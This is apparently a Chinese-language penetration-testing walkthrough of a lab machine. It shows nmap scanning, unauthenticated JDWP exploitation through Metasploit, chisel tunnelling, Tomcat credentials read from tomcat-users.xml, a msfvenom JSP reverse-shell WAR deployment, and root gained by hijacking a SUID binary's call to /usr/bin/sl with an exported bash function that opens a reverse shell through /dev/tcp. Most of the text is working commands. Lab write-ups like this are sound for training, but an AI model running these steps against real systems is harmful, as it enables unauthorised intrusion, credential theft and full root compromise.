信息收集
Server IP Address | Ports Opening |
---|---|
192.168.8.100 | TCP:21,8009,9001 |
$ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDT
Nmap scan report for 192.168.8.100 (192.168.8.100)
Host is up (0.00080s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.8.107
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
|_jdwp-info: ERROR: Script execution failed (use -d to debug)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.60 seconds
Jdwp
通过jdb
,可以未授权连接9001端口,并且可以进行文件读取
$ jdb -attach 192.168.8.100:9001
> threads
> interrupt 1
使用msf利用jdwp漏洞
$ msfconsole
msf6 > search jdwp
msf6 > use 0
msf6 exploit(multi/misc/java_jdwp_debugger) > set RHOSTS 192.168.8.100
msf6 exploit(multi/misc/java_jdwp_debugger) > set RPORT 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > exploit
查看网络端口开放情况
meterpreter > netstat -ano
8080为Tomcat服务
利用chisel将8080端口映射
[Kali]
$ ./chisel server -p 8000 --reverse
[靶机]
[sleepy@sleepy tmp]$ curl http://192.168.8.107/chisel -O chisel
[sleepy@sleepy tmp]$ chmod +x chisel
[sleepy@sleepy tmp]$ ./chisel client 192.168.8.107:8000 R:8080:localhost:8080
通过kali访问http://127.0.0.1:8080/manager/html
使用cat命令读取/etc/tomcat/tomcat-users.xml
文件获取账户密码
username:sl33py
password:Gu3SSmYStR0NgPa$sw0rD!
构造war包,获取tomcat用户的shell
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.107 LPORT=10032 -f war > shell.war
msf监听
meterpreter > use exploit/multi/handler
meterpreter > set payload java/jsp_shell_reverse_tcp
meterpreter > set LHOST 192.168.8.107
meterpreter > set LPORT 10032
meterpreter > exploit
访问地址http://127.0.0.1:8080/shell/
Local.txt 截屏
Local.txt 内容
5a5946b264f0f12355ddc51693bbb255
权限提升
查找具有SUID的文件
bash-4.2$ find / -perm -4000 -type f 2>null
bash-4.2$ cp /usr/bin/nightmare /usr/share/tomcat/webapps/sample/nightmare
访问http://192.168.8.107:8080/sample/nightmare
下载nightmare
首次将尝试打开/dev/tty,如果成功,则将进入fire函数,反之则退出
如果选择yes,则将再次调用fire
不过我们通过命令执行,出现了错误,它似乎使用了库“aalib”,一个 ASCII 艺术库。aalib 无法初始化
我们跟进train函数时
setresuid(ruid: 0, euid: 0, suid: 0):
- 这是一个系统调用,用于设置进程的真实用户 ID(Real UID)、有效用户 ID(Effective UID)和保存的设置用户 ID(Saved UID)。
在这个调用中,ruid、euid 和 suid 都被设置为 0,这意味着进程将自身的所有用户 ID 都设置为 root(超级用户)。
setresgid(rgid: 0, egid: 0, sgid: 0):
- 类似于 setresuid,这是一个系统调用,用于设置进程的真实组 ID(Real GID)、有效组 ID(Effective GID)和保存的设置组 ID(Saved GID)。
在这个调用中,rgid、egid 和 sgid 都被设置为 0,这意味着进程将自身的所有组 ID 都设置为 root 组。
return system(line: “/usr/bin/sl -al”):
- 这是一个 system 调用,用于在 shell 中执行命令。
在这个调用中,执行了命令 “/usr/bin/sl -al”,这是一个模拟火车动画的命令(sl 是一个著名的玩笑程序,它模拟的是打错 ls 时出现的火车动画,-al 是它的参数)。
https://serverfault.com/questions/548320/override-path-to-binary-for-particular-user/548323#548323
中而得知,我们可以劫持程序中的/usr/bin/sl.
bash-4.2$ function /usr/bin/sl () { /bin/bash >& /dev/tcp/192.168.8.107/10033 0>&1;}
bash-4.2$ export -f /usr/bin/sl
使用 export -f 将函数 /usr/bin/sl 导出到子 shell 环境中。这意味着任何从当前 shell 派生出来的子 shell 都可以使用这个函数定义。
bash-4.2$ /usr/bin/nightmare
ctrl+c退出时,将会自动调用/usr/bin/sl函数
Proot.txt 截屏
Proot.txt 内容
92f64746d7cd155607533c778774b995